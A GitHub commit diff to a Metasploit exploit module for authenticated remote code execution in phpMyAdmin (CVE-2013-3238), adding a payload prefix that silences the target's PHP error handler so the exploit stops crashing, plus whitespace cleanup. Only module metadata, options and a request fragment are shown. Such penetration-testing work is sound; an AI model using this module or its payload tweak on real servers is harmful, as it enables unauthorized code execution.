Skip to content

Commit a0c1b6d

Browse files
committed
Clear out PMA's error handler
* Add an error_handler function that just returns true. This prevents eventual ENOMEM errors and segfaults like these: [Fri Apr 26 15:01:00 2013] [error] [client 127.0.0.1] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 44659282 bytes) in /home/egypt/repo/phpmyadmin/libraries/Error.class.php on line 156 [Fri Apr 26 15:01:16 2013] [notice] child pid 7347 exit signal Segmentation fault (11) * clean up some whitespace
1 parent 5900a7c commit a0c1b6d

File tree

1 file changed

+14
-12
lines changed

1 file changed

+14
-12
lines changed

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -14,32 +14,35 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()',
18-
'Description' => %q{
17+
'Name' => 'PhpMyAdmin Authenticated Remote Code Execution via preg_replace()',
18+
'Description' => %q{
1919
This module exploits a PREG_REPLACE EVAL vulnerability in PhpMyAdmin's
2020
replace_prefix_tbl in libraries/mult_submits.inc.php via db_settings.php
2121
},
22-
'Author' =>
22+
'Author' =>
2323
[
2424
'Janek "waraxe" Vind', # Discovery
2525
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
2626
],
27-
'License' => MSF_LICENSE,
28-
'References' =>
27+
'License' => MSF_LICENSE,
28+
'References' =>
2929
[
3030
[ 'CVE', '2013-3238' ],
3131
[ 'PMASA', '2013-2'],
3232
[ 'waraxe', '2013-SA#103' ],
3333
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
3434
],
35-
'Privileged' => false,
36-
'Platform' => ['php'],
37-
'Arch' => ARCH_PHP,
38-
'Payload' =>
35+
'Privileged' => false,
36+
'Platform' => ['php'],
37+
'Arch' => ARCH_PHP,
38+
'Payload' =>
3939
{
4040
'BadChars' => "&\n=+%",
41+
# Clear out PMA's error handler so it doesn't lose its mind
42+
# and cause ENOMEM errors and segfaults in the destructor.
43+
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
4144
},
42-
'Targets' =>
45+
'Targets' =>
4346
[
4447
[ 'Automatic', { } ],
4548
],
@@ -48,7 +51,7 @@ def initialize(info = {})
4851

4952
register_options(
5053
[
51-
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
54+
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
5255
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
5356
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
5457
], self.class)
@@ -137,7 +140,6 @@ def exploit
137140
end
138141

139142
db = rand_text_alpha(3+rand(3))
140-
141143
exploit_result = send_request_cgi({
142144
'uri' => uri('db_structure.php'),
143145
'method' => 'POST',

0 commit comments

Comments
 (0)